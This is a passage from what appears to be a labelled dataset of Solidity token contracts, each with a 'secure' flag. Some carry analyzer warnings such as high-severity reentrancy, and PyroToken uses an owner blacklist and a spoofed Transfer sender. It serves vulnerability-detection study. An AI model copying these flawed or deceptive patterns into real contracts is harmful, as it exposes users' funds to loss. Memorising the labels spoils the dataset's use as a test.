uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_286.sol",
"secure": 1,
"size_bytes": 5226
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"./ERC20Snapshot.sol\" as ERC20Snapshot;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\ncontract NitrixToken is ERC20, ERC20Burnable, ERC20Snapshot, Ownable, Pausable {\n constructor() ERC20(\"Nitrix\", \"NTRX\") {\n _mint(msg.sender, 5000000000 * 10 ** decimals());\n }\n\n function snapshot() public onlyOwner {\n _snapshot();\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override(ERC20, ERC20Snapshot) whenNotPaused {\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_2860.sol",
"secure": 1,
"size_bytes": 1044
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract NeewBitcoin {\n string public constant name = \"NeewBitcoin\";\n string public constant symbol = \"NEBTC\";\n uint8 public constant decimals = 18;\n\n event Approval(\n address indexed tokenOwner,\n address indexed spender,\n uint256 tokens\n );\n event Transfer(address indexed from, address indexed to, uint256 tokens);\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a14c79b): NeewBitcoin.totalSupply_ should be immutable \n\t// Recommendation for a14c79b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 totalSupply_;\n\n using SafeMath for uint256;\n\n constructor(uint256 total) {\n totalSupply_ = total;\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(address tokenOwner) public view returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(address receiver, uint256 numTokens) public returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(address delegate, uint256 numTokens) public returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}",
"file_name": "solidity_code_2861.sol",
"secure": 1,
"size_bytes": 2535
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract PyroToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: 5b123ef): PyroToken._feeAddrWallet1 should be immutable \n\t// Recommendation for 5b123ef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: 9b03f93): PyroToken._feeAddrWallet2 should be immutable \n\t// Recommendation for 9b03f93: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\n string private constant _name = \"Pyro Token\";\n string private constant _symbol = \"PYRO\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(0x8A41010ebAB699c6d0E3A4d5C71EbeD0Ba3e8806);\n _feeAddrWallet2 = payable(0x8A41010ebAB699c6d0E3A4d5C71EbeD0Ba3e8806);\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n emit Transfer(\n address(0x7e58ab72F3c1F845d5CDe84d9C4e466130835690),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2491b35): PyroToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2491b35: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3f46f80): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3f46f80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b639ff2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b639ff2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3f46f80\n\t\t// reentrancy-benign | ID: b639ff2\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 3f46f80\n\t\t// reentrancy-benign | ID: b639ff2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc25ac1): PyroToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bc25ac1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: b639ff2\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 3f46f80\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 246ee63): PyroToken._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[to] < block.timestamp)\n\t// Recommendation for 246ee63: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4d1c180): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4d1c180: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3df3ea4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3df3ea4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c630384): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c630384: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n _feeAddr1 = 1;\n _feeAddr2 = 9;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount);\n\t\t\t\t// timestamp | ID: 246ee63\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (30 seconds);\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_isExcludedFromFee[from]\n ) {\n _feeAddr1 = 1;\n _feeAddr2 = 9;\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 4d1c180\n\t\t\t\t// reentrancy-benign | ID: 3df3ea4\n\t\t\t\t// reentrancy-eth | ID: c630384\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4d1c180\n\t\t\t\t\t// reentrancy-eth | ID: c630384\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 4d1c180\n\t\t// reentrancy-benign | ID: 3df3ea4\n\t\t// reentrancy-eth | ID: c630384\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 4d1c180\n\t\t// reentrancy-events | ID: 3f46f80\n\t\t// reentrancy-benign | ID: 3df3ea4\n\t\t// reentrancy-benign | ID: b639ff2\n\t\t// reentrancy-eth | ID: c630384\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4d1c180\n\t\t// reentrancy-events | ID: 3f46f80\n\t\t// reentrancy-eth | ID: c630384\n _feeAddrWallet1.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: 4d1c180\n\t\t// reentrancy-events | ID: 3f46f80\n\t\t// reentrancy-eth | ID: c630384\n _feeAddrWallet2.transfer(amount.div(2));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a082f1c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a082f1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 705d410): PyroToken.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 705d410: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dd9a073): PyroToken.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dd9a073: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eb2163d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eb2163d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: a082f1c\n\t\t// reentrancy-eth | ID: eb2163d\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: a082f1c\n\t\t// unused-return | ID: 705d410\n\t\t// reentrancy-eth | ID: eb2163d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: a082f1c\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: a082f1c\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: a082f1c\n _maxTxAmount = 10000000000000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: eb2163d\n tradingOpen = true;\n\t\t// unused-return | ID: dd9a073\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: c630384\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: c630384\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 4d1c180\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: c630384\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: c630384\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 3df3ea4\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2862.sol",
"secure": 0,
"size_bytes": 18027
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract FilmPornoToken is ERC20Interface, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: ab659bf): FilmPornoToken.decimals should be immutable \n\t// Recommendation for ab659bf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 099a9d8): FilmPornoToken._totalSupply should be immutable \n\t// Recommendation for 099a9d8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n symbol = \"FP\";\n name = \"Film Porno Token\";\n decimals = 18;\n _totalSupply = 21000000000000000000000000;\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(msg.sender, receiver, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address sender,\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n balances[sender] = safeSub(balances[sender], tokens);\n allowed[sender][msg.sender] = safeSub(\n allowed[sender][msg.sender],\n tokens\n );\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(sender, receiver, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_2863.sol",
"secure": 1,
"size_bytes": 2802
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\" as ERC1155;\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol\" as ERC1155Supply;\n\nabstract contract ERC1155Supply is ERC1155 {\n mapping(uint256 => uint256) private _totalSupply;\n\n function totalSupply(uint256 id) public view virtual returns (uint256) {\n return _totalSupply[id];\n }\n\n function exists(uint256 id) public view virtual returns (bool) {\n return ERC1155Supply.totalSupply(id) > 0;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0aa3beb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0aa3beb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _mint(\n address account,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n\t\t// reentrancy-benign | ID: 0aa3beb\n super._mint(account, id, amount, data);\n\t\t// reentrancy-benign | ID: 0aa3beb\n _totalSupply[id] += amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6a75336): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6a75336: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n\t\t// reentrancy-benign | ID: 6a75336\n super._mintBatch(to, ids, amounts, data);\n for (uint256 i = 0; i < ids.length; ++i) {\n\t\t\t// reentrancy-benign | ID: 6a75336\n _totalSupply[ids[i]] += amounts[i];\n }\n }\n\n function _burn(\n address account,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n super._burn(account, id, amount);\n _totalSupply[id] -= amount;\n }\n\n function _burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n super._burnBatch(account, ids, amounts);\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply[ids[i]] -= amounts[i];\n }\n }\n}",
"file_name": "solidity_code_2864.sol",
"secure": 0,
"size_bytes": 2661
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol\" as ERC1155Supply;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\" as ERC1155;\n\ncontract IBEX is ERC1155Supply, Ownable {\n bool public saleIsActive = true;\n bool public whitelistActive = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: ddb97a7): IBEX.name should be constant \n\t// Recommendation for ddb97a7: Add the 'constant' attribute to state variables that never change.\n string public name = \"IBEX | Protocol\";\n\t// WARNING Optimization Issue (constable-states | ID: 8e967d2): IBEX.symbol should be constant \n\t// Recommendation for 8e967d2: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"IBEX\";\n\n mapping(uint256 => uint256) public priceMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: 102c3f2): IBEX.withdrawAddress should be constant \n\t// Recommendation for 102c3f2: Add the 'constant' attribute to state variables that never change.\n address private withdrawAddress =\n 0xc135A4ccddDB08a280d502e75767c8Ca32Ff838d;\n\n mapping(uint256 => uint256) public maxSupply;\n\n mapping(address => bool) public whitelisted;\n uint256[] reserveIds = [2, 3, 4, 5, 6, 7, 8, 9];\n uint256[] reserveAmounts = [1, 1, 5, 4, 4, 3, 3, 4];\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a96ba17): IBEX.constructor(string).uri shadows ERC1155.uri(uint256) (function) IERC1155MetadataURI.uri(uint256) (function)\n\t// Recommendation for a96ba17: Rename the local variables that shadow another component.\n constructor(string memory uri) ERC1155(uri) {\n priceMap[0] = 1 ether;\n priceMap[1] = 1 ether;\n priceMap[2] = 0.5 ether;\n priceMap[3] = 0.5 ether;\n priceMap[4] = 0.25 ether;\n priceMap[5] = 0.25 ether;\n priceMap[6] = 0.15 ether;\n priceMap[7] = 0.15 ether;\n priceMap[8] = 0.15 ether;\n priceMap[9] = 0.15 ether;\n\n maxSupply[0] = 5;\n maxSupply[1] = 5;\n maxSupply[2] = 15;\n maxSupply[3] = 15;\n maxSupply[4] = 30;\n maxSupply[5] = 30;\n maxSupply[6] = 100;\n maxSupply[7] = 100;\n maxSupply[8] = 100;\n maxSupply[9] = 100;\n\n _mintBatch(withdrawAddress, reserveIds, reserveAmounts, \"\");\n }\n\n function setSaleState(bool newState) public onlyOwner {\n saleIsActive = newState;\n }\n\n function setWhitelistState(bool newState) public onlyOwner {\n whitelistActive = newState;\n }\n\n function mint(uint256 numberOfTokens, uint256 TOKEN_ID) public payable {\n require(\n totalSupply(TOKEN_ID) + numberOfTokens <= maxSupply[TOKEN_ID],\n \"Purchase would exceed max supply of tokens\"\n );\n require(\n priceMap[TOKEN_ID] * numberOfTokens <= msg.value,\n \"Ether value sent is not correct\"\n );\n require(TOKEN_ID < 10, \"TOKEN_ID must be less than 10\");\n\n if (whitelistActive) {\n require(\n whitelisted[msg.sender],\n \"Address not whitelisted wait for public mint\"\n );\n } else {\n require(saleIsActive, \"Sale must be active to mint Tokens\");\n }\n\n if (TOKEN_ID == 0) {\n require(\n balanceOf(msg.sender, TOKEN_ID) + numberOfTokens == 1,\n \"You are only allowed one mint in tier 1\"\n );\n }\n\n if (TOKEN_ID == 1) {\n require(\n balanceOf(msg.sender, TOKEN_ID) + numberOfTokens == 1,\n \"You are only allowed one mint in tier 1\"\n );\n }\n\n if (TOKEN_ID == 2) {\n require(\n balanceOf(msg.sender, TOKEN_ID) + numberOfTokens <= 3,\n \"You are only allowed three mints in tier 2\"\n );\n }\n\n if (TOKEN_ID == 3) {\n require(\n balanceOf(msg.sender, TOKEN_ID) + numberOfTokens <= 3,\n \"You are only allowed three mints in tier 2\"\n );\n }\n\n _mint(msg.sender, TOKEN_ID, numberOfTokens, \"\");\n }\n\n function getMaxSupply(uint256 id) public view returns (uint256) {\n return maxSupply[id];\n }\n\n function addToWhitelist(address[] memory accounts) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n require(!whitelisted[accounts[i]], \"Already added to list\");\n whitelisted[accounts[i]] = true;\n }\n }\n\n function removeFromWhitelist(address[] memory accounts) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n require(whitelisted[accounts[i]], \"Account not whitelisted\");\n whitelisted[accounts[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2e118dc): IBEX.setNewUri(string)._uri shadows ERC1155._uri (state variable)\n\t// Recommendation for 2e118dc: Rename the local variables that shadow another component.\n function setNewUri(string memory _uri) public onlyOwner {\n _setURI(_uri);\n }\n\n function withdraw() external {\n if (msg.sender != owner())\n require(\n msg.sender == withdrawAddress,\n \"only the withdraw address can call this function\"\n );\n uint256 balance = address(this).balance;\n payable(withdrawAddress).transfer(balance);\n }\n}",
"file_name": "solidity_code_2865.sol",
"secure": 0,
"size_bytes": 5705
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./TokenERC20.sol\" as TokenERC20;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d61c5bc): Contract locking ether found Contract DingerElonMars has payable functions TokenERC20.receive() TokenERC20.fallback() But does not have a function to withdraw the ether\n// Recommendation for d61c5bc: Remove the 'payable' attribute or add a withdraw function.\ncontract DingerElonMars is TokenERC20 {\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6a1a335): DingerElonMars.constructor(string,string,uint256,address,address)._del lacks a zerocheck on \t delegate = _del\n\t// Recommendation for 6a1a335: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b7f1d36): DingerElonMars.constructor(string,string,uint256,address,address)._ref lacks a zerocheck on \t reflector = _ref\n\t// Recommendation for b7f1d36: Check that the address is not zero.\n constructor(\n string memory _name,\n string memory _symbol,\n uint256 _supply,\n address _del,\n address _ref\n ) {\n symbol = _symbol;\n name = _name;\n decimals = 9;\n _totalSupply = _supply * (10 ** 